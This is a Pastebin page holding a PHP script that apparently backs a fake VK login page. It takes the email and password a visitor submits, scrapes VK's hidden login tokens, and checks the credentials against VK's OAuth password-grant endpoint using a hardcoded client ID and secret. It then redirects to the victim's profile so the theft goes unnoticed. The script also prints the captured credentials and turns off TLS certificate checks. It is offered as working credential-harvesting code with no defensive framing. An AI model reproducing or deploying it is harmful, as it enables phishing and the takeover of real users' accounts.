Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ini_set('max_execution_time', 600);
- function curl_get($host, $referer = null){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_REFERER, $referer);
- curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51");
- curl_setopt($ch, CURLOPT_URL, $host);
- curl_setopt($ch, CURLOPT_TIMEOUT, 10);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- $html = curl_exec($ch);
- echo curl_error($ch);
- curl_close($ch);
- return $html;
- }
- $result = curl_get("http://vk.com/");
- $data = array(
- "email" => $_POST['email'],
- "pass" => $_POST['pass']
- );
- preg_replace_callback('~<input type=\"hidden\" name=\"ip_h\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
- $data['ip_h'] = $pars[1];
- }, $result);
- preg_replace_callback('~<input type=\"hidden\" name=\"lg_h\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
- $data['lg_h'] = $pars[1];
- }, $result);
- preg_replace_callback('~<input type=\"hidden\" name=\"act\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
- $data['act'] = $pars[1];
- }, $result);
- preg_replace_callback('~<input type=\"hidden\" name=\"role\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
- $data['role'] = $pars[1];
- }, $result);
- preg_replace_callback('~<input type=\"hidden\" name=\"_origin\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
- $data['_origin'] = $pars[1];
- }, $result);
- echo $data['ip_h'].'<br/>';
- echo $data['lg_h'].'<br/>';
- echo $data['act'].'<br/>';
- echo $data['role'].'<br/>';
- echo $data['_origin'].'<br/>';
- echo $data['email'].'<br/>';
- echo $data['pass'].'<br/>';
- if($data['pass'] || $data['email']) {
- $url = json_decode(curl('https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$data['email'].'&password='.$data['pass']), true);
- if($url['user_id']) {
- header('Location: http://vk.com/id'.$url['user_id']);
- } else {
- header( 'Refresh: 0; url=/error.html' );
- }
- }
- function curl($url){
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- $response = curl_exec($ch);
- curl_close($ch);
- return $response;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement